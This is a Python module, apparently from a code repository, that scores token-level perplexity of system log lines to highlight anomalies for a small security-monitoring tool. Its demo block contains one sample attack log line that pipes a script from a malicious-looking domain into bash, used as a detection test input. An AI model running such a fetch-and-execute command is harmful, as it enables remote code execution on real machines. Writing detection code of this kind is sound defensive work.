File size: 5,064 Bytes
35cf8e4
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
"""Token-level perplexity engine for TinySOC (the highlighter).

Scores how *surprising* each token of a log line is, given a normal-behavior
context. Two backends (selected by WEC_BACKEND):

  * "llamacpp" (default): a local GGUF returns prompt logprobs in a SINGLE pass
    (echo logprobs). Self-contained on CPU, the path the public HF Space uses.
  * "ollama" (dev only): a remote GPU server. ollama 0.x exposes top_logprobs
    (cap 20) but NOT prompt logprobs, so we score by forced decoding: feed the
    prefix, read the top-k next tokens, recover the actual token's logprob.

Important: perplexity only *highlights* novel tokens (a random domain, a base64
blob). It does NOT decide maliciousness (a code model finds a reverse shell
mundane). The baseline_engine decides; this paints. Timestamps/hosts are masked
before scoring so we measure the message content, not the clock.
"""
from __future__ import annotations

import math
import os
import re
from typing import Any

import requests

BACKEND = os.environ.get("WEC_BACKEND", "llamacpp").lower()
OLLAMA_URL = os.environ.get("WEC_OLLAMA_URL", "http://localhost:11434") + "/api/generate"
PPL_MODEL = os.environ.get("WEC_PPL_MODEL", "qwen2.5-coder:1.5b-base")
TOPK = 20          # ollama hard cap
FLOOR_NLL = 12.0   # surprise assigned when the real token is outside top-k
SURPRISE_NLL = 6.0 # threshold above which a token is flagged "surprising"

# Mask volatile structure so perplexity reflects content, not timestamp/host.
_TS = re.compile(r"^[A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2}\s+(\S+)\s+")


def normalize_line(line: str) -> str:
    """Replace leading 'Mon DD HH:MM:SS host' with stable placeholders."""
    return _TS.sub("<TS> <HOST> ", line.strip(), count=1)


def _next_topk(prefix: str) -> list[dict]:
    resp = requests.post(OLLAMA_URL, json={
        "model": PPL_MODEL, "prompt": prefix, "stream": False,
        "logprobs": True, "top_logprobs": TOPK,
        "options": {"temperature": 0, "num_predict": 1},
    }, timeout=120)
    logprobs = resp.json().get("logprobs") or []
    return logprobs[0].get("top_logprobs", []) if logprobs else []


def score_tokens(line: str, context: str = "", max_steps: int = 80) -> list[tuple[str, float]]:
    """Return [(token, nll)] for `line` given a normal-behavior `context`.

    Dispatches to the configured backend; both consume the same masked line and
    context so the highlighter behaves identically on the Space and in dev.
    """
    normalized = normalize_line(line)
    if BACKEND == "ollama":
        return _score_tokens_ollama(normalized, context, max_steps)
    from backend_llamacpp import prompt_token_nll

    return prompt_token_nll(context, normalized, max_steps)


def _score_tokens_ollama(remaining: str, context: str = "",
                         max_steps: int = 80) -> list[tuple[str, float]]:
    """Ollama forced-decode scorer (dev backend): walk top-k one token at a time."""
    tokens: list[tuple[str, float]] = []
    prefix = context
    steps = 0
    while remaining and steps < max_steps:
        best = None
        for cand in _next_topk(prefix):
            tok = cand["token"]
            if tok and remaining.startswith(tok):
                if best is None or len(tok) > len(best["token"]):
                    best = cand
        if best:
            tokens.append((best["token"], -best["logprob"]))
            prefix += best["token"]
            remaining = remaining[len(best["token"]):]
        else:
            space = remaining.find(" ", 1)
            chunk = remaining if space < 0 else remaining[:space]
            tokens.append((chunk, FLOOR_NLL))
            prefix += chunk
            remaining = remaining[len(chunk):]
        steps += 1
    return tokens


def perplexity(tokens: list[tuple[str, float]]) -> float:
    if not tokens:
        return 0.0
    mean_nll = sum(nll for _, nll in tokens) / len(tokens)
    return math.exp(mean_nll)


def analyze(line: str, context: str = "") -> dict[str, Any]:
    """Full perplexity analysis of one line: tokens, ppl, surprising spans."""
    tokens = score_tokens(line, context)
    surprising = [tok for tok, nll in tokens if nll >= SURPRISE_NLL]
    return {
        "tokens": tokens,
        "perplexity": round(perplexity(tokens), 2),
        "surprising_tokens": surprising,
    }


if __name__ == "__main__":
    ctx = (
        normalize_line("Jun  9 08:14:01 srv-web-01 sshd[2211]: Accepted publickey for deploy from 10.0.0.12 port 51020 ssh2") + "\n"
        + normalize_line("Jun  9 08:20:11 srv-web-01 CRON[3120]: (deploy) CMD (/usr/local/bin/backup.sh)") + "\n"
    )
    for label, line in {
        "NORMAL": "Jun  9 09:31:02 srv-web-01 sshd[2240]: Accepted publickey for deploy from 10.0.0.12 port 51044 ssh2",
        "ATTACK": "Jun  9 03:14:55 srv-web-01 bash[9913]: curl http://xn--malware-9z7d.ru/x.sh | bash",
    }.items():
        r = analyze(line, ctx)
        flags = " ".join(repr(t) for t in r["surprising_tokens"]) or "(none)"
        print(f"{label}: perplexity={r['perplexity']}  surprising={flags}")